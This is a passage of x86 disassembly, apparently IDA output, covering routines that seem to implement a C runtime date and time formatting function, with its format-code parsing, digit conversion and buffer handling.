		call	sub_4307E0
		add	esp, 14h
		jmp	short loc_430472
; ---------------------------------------------------------------------------


loc_430450:				; CODE XREF: sub_430010+410j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A0h]
		push	edx
		call	sub_4307E0
		add	esp, 14h


loc_430472:				; CODE XREF: sub_430010+43Ej
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_430477:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:004305A1o
		mov	dword_4DE30C, 0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A8h]
		push	edx
		call	sub_4307E0
		add	esp, 14h
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_4304A8:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:004305D1o
		mov	eax, dword_4DE30C
		mov	dword_4DE310, eax
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_430680
		add	esp, 10h
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_4304DE:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:004305A5o
		mov	edx, dword_4DE30C
		mov	dword_4DE310, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	ecx, eax
		add	ecx, 13h
		imul	ecx, 64h
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+14h]
		cdq
		mov	esi, 64h
		idiv	esi
		add	ecx, edx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_430680
		add	esp, 10h
		jmp	short loc_430578
; ---------------------------------------------------------------------------


loc_43052B:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:004305A9o
		call	sub_431A50
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		cmp	dword ptr [edx+20h], 0
		setnz	al
		mov	ecx, off_44842C[eax*4]
		push	ecx
		call	sub_430630
		add	esp, 0Ch
		jmp	short loc_430578
; ---------------------------------------------------------------------------


loc_430556:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:off_43057Do
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	25h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_430578:				; CODE XREF: sub_430010+1Bj
					; sub_430010+2Cj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_430010	endp

; ---------------------------------------------------------------------------
off_43057D	dd offset loc_430556	; DATA XREF: sub_430010+2Cr
		dd offset loc_430065
		dd offset loc_4300AB
		dd offset loc_4301F8
		dd offset loc_430220
		dd offset loc_4302BF
		dd offset loc_43032B
		dd offset loc_430354
		dd offset loc_430395
		dd offset loc_430477
		dd offset loc_4304DE
		dd offset loc_43052B
		dd offset loc_430043
		dd offset loc_430088
		dd offset loc_4300CE
		dd offset loc_4301CE
		dd offset loc_430265
		dd offset loc_430292
		dd offset loc_4302E7
		dd offset loc_43036B
		dd offset loc_430419
		dd offset loc_4304A8
		dd offset loc_430578
byte_4305D9	db 0			; DATA XREF: sub_430010+26r
		dw 1616h
		dd 6 dup(16161616h), 16020116h,	16161616h, 16160403h, 16160516h
		dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
		dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
		dd 0CC0B1514h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430630	proc near		; CODE XREF: sub_430010:loc_430058p
					; sub_430010+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp


loc_430633:				; CODE XREF: sub_430630+44j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 0
		jz	short loc_430676
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_430676
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jmp	short loc_430633
; ---------------------------------------------------------------------------


loc_430676:				; CODE XREF: sub_430630+9j
					; sub_430630+13j
		pop	ebp
		retn
sub_430630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430680	proc near		; CODE XREF: sub_430010+1DBp
					; sub_430010+203p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		cmp	dword_4DE310, 0
		jz	short loc_4306AA
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_430730
		add	esp, 0Ch
		jmp	short loc_430729
; ---------------------------------------------------------------------------


loc_4306AA:				; CODE XREF: sub_430680+12j
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [eax]
		jnb	short loc_430720
		mov	edx, [ebp+arg_4]
		sub	edx, 1
		mov	[ebp+arg_4], edx
		jmp	short loc_4306C8
; ---------------------------------------------------------------------------


loc_4306BF:				; CODE XREF: sub_430680+82j
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax


loc_4306C8:				; CODE XREF: sub_430680+3Dj
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		test	ecx, ecx
		jz	short loc_430704
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		add	edx, 30h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	eax, [ebp+arg_4]
		mov	[ecx+eax], dl
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_4306BF
; ---------------------------------------------------------------------------


loc_430704:				; CODE XREF: sub_430680+50j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		jmp	short loc_430729
; ---------------------------------------------------------------------------


loc_430720:				; CODE XREF: sub_430680+32j
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 0


loc_430729:				; CODE XREF: sub_430680+28j
					; sub_430680+9Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_430680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430730	proc near		; CODE XREF: sub_430680+20p

var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx], 1
		jbe	short loc_43078B


loc_430746:				; CODE XREF: sub_430730+59j
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jle	short loc_43078B
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx], 1
		ja	short loc_430746


loc_43078B:				; CODE XREF: sub_430730+14j
					; sub_430730+51j
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_4307A4:				; CODE XREF: sub_430730+A6j
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ebp+var_C], al
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		mov	al, [ebp+var_C]
		mov	[edx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+var_4]
		jb	short loc_4307A4
		mov	esp, ebp
		pop	ebp
		retn
sub_430730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4307E0	proc near		; CODE XREF: sub_430010+EBp
					; sub_430010+13Cp ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h


loc_4307E6:				; CODE XREF: sub_4307E0+2EAj
					; sub_4307E0:loc_430BABj ...
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_430C5C
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jz	loc_430C5C
		mov	[ebp+var_8], 0
		mov	dword_4DE310, 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_430826
; ---------------------------------------------------------------------------


loc_43081D:				; CODE XREF: sub_4307E0+5Fj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_430826:				; CODE XREF: sub_4307E0+3Bj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		cmp	eax, edx
		jnz	short loc_430841
		jmp	short loc_43081D
; ---------------------------------------------------------------------------


loc_430841:				; CODE XREF: sub_4307E0+5Dj
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		sub	edx, 27h
		mov	[ebp+var_14], edx
		cmp	[ebp+var_14], 52h
		ja	loc_430BB0
		mov	ecx, [ebp+var_14]
		xor	eax, eax
		mov	al, byte_430C8C[ecx]
		jmp	off_430C60[eax*4]


loc_430878:				; DATA XREF: .data:00430C6Co
		mov	edx, [ebp+var_C]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		sub	eax, 1
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 3
		ja	short loc_4308B1
		mov	ecx, [ebp+var_18]
		jmp	off_430CDF[ecx*4]


loc_430897:				; DATA XREF: .data:off_430CDFo
		mov	dword_4DE310, 1


loc_4308A1:				; CODE XREF: sub_4307E0+B0j
					; DATA XREF: .data:00430CE3o
		mov	[ebp+var_8], 6Dh
		jmp	short loc_4308B1
; ---------------------------------------------------------------------------


loc_4308A7:				; CODE XREF: sub_4307E0+B0j
					; DATA XREF: .data:00430CE7o
		mov	[ebp+var_8], 62h
		jmp	short loc_4308B1
; ---------------------------------------------------------------------------


loc_4308AD:				; CODE XREF: sub_4307E0+B0j
					; DATA XREF: .data:00430CEBo
		mov	[ebp+var_8], 42h


loc_4308B1:				; CODE XREF: sub_4307E0+ABj
					; sub_4307E0+C5j ...
		jmp	loc_430BB0
; ---------------------------------------------------------------------------


loc_4308B6:				; CODE XREF: sub_4307E0+91j
					; DATA XREF: .data:00430C70o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 3
		ja	short loc_4308EF
		mov	ecx, [ebp+var_1C]
		jmp	off_430CEF[ecx*4]


loc_4308D5:				; CODE XREF: sub_4307E0+B0j
					; DATA XREF: .data:off_430CEFo
		mov	dword_4DE310, 1


loc_4308DF:				; CODE XREF: sub_4307E0+B0j
					; sub_4307E0+EEj
					; DATA XREF: ...
		mov	[ebp+var_8], 64h
		jmp	short loc_4308EF
; ---------------------------------------------------------------------------


loc_4308E5:				; CODE XREF: sub_4307E0+B0j
					; sub_4307E0+EEj
					; DATA XREF: ...
		mov	[ebp+var_8], 61h
		jmp	short loc_4308EF
; ---------------------------------------------------------------------------


loc_4308EB:				; CODE XREF: sub_4307E0+B0j
					; sub_4307E0+EEj
					; DATA XREF: ...
		mov	[ebp+var_8], 41h


loc_4308EF:				; CODE XREF: sub_4307E0+E9j
					; sub_4307E0+103j ...
		jmp	loc_430BB0
; ---------------------------------------------------------------------------


loc_4308F4:				; CODE XREF: sub_4307E0+91j
					; DATA XREF: .data:00430C84o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 2
		jz	short loc_430908
		cmp	[ebp+var_20], 4
		jz	short loc_43090E
		jmp	short loc_430912
; ---------------------------------------------------------------------------


loc_430908:				; CODE XREF: sub_4307E0+11Ej
		mov	[ebp+var_8], 79h
		jmp	short loc_430912
; ---------------------------------------------------------------------------


loc_43090E:				; CODE XREF: sub_4307E0+124j
		mov	[ebp+var_8], 59h


loc_430912:				; CODE XREF: sub_4307E0+126j
					; sub_4307E0+12Cj
		jmp	loc_430BB0
; ---------------------------------------------------------------------------


loc_430917:				; CODE XREF: sub_4307E0+91j
					; DATA XREF: .data:00430C74o
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 1
		jz	short loc_43092B
		cmp	[ebp+var_24], 2
		jz	short loc_430935
		jmp	short loc_430939
; ---------------------------------------------------------------------------


loc_43092B:				; CODE XREF: sub_4307E0+141j
		mov	dword_4DE310, 1


loc_430935:				; CODE XREF: sub_4307E0+147j
		mov	[ebp+var_8], 49h


loc_430939:				; CODE XREF: sub_4307E0+149j
		jmp	loc_430BB0
; ---------------------------------------------------------------------------


loc_43093E:				; CODE XREF: sub_4307E0+91j
					; DATA XREF: .data:00430C68o
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_28], ecx
		cmp	[ebp+var_28], 1
		jz	short loc_430952
		cmp	[ebp+var_28], 2
		jz	short loc_43095C
		jmp	short loc_430960
; ---------------------------------------------------------------------------


loc_430952:				; CODE XREF: sub_4307E0+168j
		mov	dword_4DE310, 1


loc_43095C:				; CODE XREF: sub_4307E0+16Ej
		mov	[ebp+var_8], 48h


loc_430960:				; CODE XREF: sub_4307E0+170j
		jmp	loc_430BB0
; ---------------------------------------------------------------------------


loc_430965:				; CODE XREF: sub_4307E0+91j
					; DATA XREF: .data:00430C78o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_2C], edx
		cmp	[ebp+var_2C], 1
		jz	short loc_430979
		cmp	[ebp+var_2C], 2
		jz	short loc_430983
		jmp	short loc_430987
; ---------------------------------------------------------------------------


loc_430979:				; CODE XREF: sub_4307E0+18Fj
		mov	dword_4DE310, 1


loc_430983:				; CODE XREF: sub_4307E0+195j
		mov	[ebp+var_8], 4Dh


loc_430987:				; CODE XREF: sub_4307E0+197j
		jmp	loc_430BB0
; ---------------------------------------------------------------------------


loc_43098C:				; CODE XREF: sub_4307E0+91j
					; DATA XREF: .data:00430C7Co
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 1
		jz	short loc_4309A0
		cmp	[ebp+var_30], 2
		jz	short loc_4309AA
		jmp	short loc_4309AE
; ---------------------------------------------------------------------------


loc_4309A0:				; CODE XREF: sub_4307E0+1B6j
		mov	dword_4DE310, 1


loc_4309AA:				; CODE XREF: sub_4307E0+1BCj
		mov	[ebp+var_8], 53h


loc_4309AE:				; CODE XREF: sub_4307E0+1BEj
		jmp	loc_430BB0
; ---------------------------------------------------------------------------


loc_4309B3:				; CODE XREF: sub_4307E0+91j
					; DATA XREF: .data:00430C64o
		push	offset aAmPm	; "am/pm"
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_431210
		add	esp, 8
		test	eax, eax
		jnz	short loc_4309D3
		mov	edx, [ebp+arg_0]
		add	edx, 5
		mov	[ebp+var_4], edx
		jmp	short loc_4309F1
; ---------------------------------------------------------------------------


loc_4309D3:				; CODE XREF: sub_4307E0+1E6j
		push	offset aAP	; "a/p"
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_431210
		add	esp, 8
		test	eax, eax
		jnz	short loc_4309F1
		mov	ecx, [ebp+arg_0]
		add	ecx, 3
		mov	[ebp+var_4], ecx


loc_4309F1:				; CODE XREF: sub_4307E0+1F1j
					; sub_4307E0+206j
		mov	[ebp+var_8], 70h
		jmp	loc_430BB0
; ---------------------------------------------------------------------------


loc_4309FA:				; CODE XREF: sub_4307E0+91j
					; DATA XREF: .data:00430C80o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_430A11
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+98h]
		mov	[ebp+var_10], ecx
		jmp	short loc_430A1D
; ---------------------------------------------------------------------------


loc_430A11:				; CODE XREF: sub_4307E0+221j
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+9Ch]
		mov	[ebp+var_10], eax


loc_430A1D:				; CODE XREF: sub_4307E0+22Fj
					; sub_4307E0+2DFj
		cmp	[ebp+var_C], 0
		jle	loc_430AC4
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jbe	loc_430AC4
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_430A87
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 1
		jbe	short loc_430A87
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx


loc_430A87:				; CODE XREF: sub_4307E0+26Ej
					; sub_4307E0+276j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_10]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx
		jmp	loc_430A1D
; ---------------------------------------------------------------------------


loc_430AC4:				; CODE XREF: sub_4307E0+241j
					; sub_4307E0+24Dj
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax
		jmp	loc_4307E6
; ---------------------------------------------------------------------------


loc_430ACF:				; CODE XREF: sub_4307E0+91j
					; DATA XREF: .data:off_430C60o
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_430BA2
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_C]
		mov	[ebp+arg_0], edx


loc_430AE6:				; CODE XREF: sub_4307E0+3BBj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_430BA0
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jz	loc_430BA0
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 27h
		jnz	short loc_430B19
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	loc_430BA0
; ---------------------------------------------------------------------------


loc_430B19:				; CODE XREF: sub_4307E0+329j
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_430B6C
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 1
		jbe	short loc_430B6C
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_430B6C:				; CODE XREF: sub_4307E0+353j
					; sub_4307E0+35Bj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		jmp	loc_430AE6
; ---------------------------------------------------------------------------


loc_430BA0:				; CODE XREF: sub_4307E0+30Ej
					; sub_4307E0+31Aj ...
		jmp	short loc_430BAB
; ---------------------------------------------------------------------------


loc_430BA2:				; CODE XREF: sub_4307E0+2F7j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		mov	[ebp+arg_0], eax


loc_430BAB:				; CODE XREF: sub_4307E0:loc_430BA0j
		jmp	loc_4307E6
; ---------------------------------------------------------------------------


loc_430BB0:				; CODE XREF: sub_4307E0+80j
					; sub_4307E0+91j ...
		movsx	ecx, [ebp+var_8]
		test	ecx, ecx
		jz	short loc_430BDC
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	al, [ebp+var_8]
		push	eax
		call	sub_430010
		add	esp, 14h
		mov	ecx, [ebp+var_4]
		mov	[ebp+arg_0], ecx
		jmp	short loc_430C57
; ---------------------------------------------------------------------------


loc_430BDC:				; CODE XREF: sub_4307E0+3D6j
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_430C28
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_430C28:				; CODE XREF: sub_4307E0+417j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_430C57:				; CODE XREF: sub_4307E0+3FAj
		jmp	loc_4307E6
; ---------------------------------------------------------------------------


loc_430C5C:				; CODE XREF: sub_4307E0+Ej
					; sub_4307E0+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4307E0	endp

; ---------------------------------------------------------------------------
off_430C60	dd offset loc_430ACF	; DATA XREF: sub_4307E0+91r
		dd offset loc_4309B3
		dd offset loc_43093E
		dd offset loc_430878
		dd offset loc_4308B6
		dd offset loc_430917
		dd offset loc_430965
		dd offset loc_43098C
		dd offset loc_4309FA
		dd offset loc_4308F4
		dd offset loc_430BB0
byte_430C8C	db 0			; DATA XREF: sub_4307E0+8Br
		db 3 dup(0Ah)
		dd 5 dup(0A0A0A0Ah), 0A010A0Ah,	0A0A0A0Ah, 0A0A020Ah, 0A030A0Ah
		dd 4 dup(0A0A0A0Ah), 0A010A0Ah,	0A0A040Ah, 0A0A050Ah, 0A060A0Ah
		dd 0A0A0A0Ah, 0A0A0807h
		db 2 dup(0Ah), 9
off_430CDF	dd offset loc_430897	; DATA XREF: sub_4307E0+B0r
		dd offset loc_4308A1
		dd offset loc_4308A7
		dd offset loc_4308AD
off_430CEF	dd offset loc_4308D5	; DATA XREF: sub_4307E0+EEr
		dd offset loc_4308DF
		dd offset loc_4308E5
		dd offset loc_4308EB
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430D00	proc near		; CODE XREF: sub_42BE50+41p
					; sub_42BE50+60p ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		cmp	[ebp+arg_0], 1
		jnz	loc_430E69
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_90], eax
		lea	ecx, [ebp+var_8C]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_94], 80h
		push	0
		mov	edx, [ebp+var_94]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_432530
		add	esp, 14h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	loc_430DEF
		call	dword_4E0350	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_430D70
		jmp	loc_430E4D
; ---------------------------------------------------------------------------


loc_430D70:				; CODE XREF: sub_430D00+69j
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_432530
		add	esp, 14h
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 0
		jnz	short loc_430D9A
		jmp	loc_430E4D
; ---------------------------------------------------------------------------


loc_430D9A:				; CODE XREF: sub_430D00+93j
		push	58h
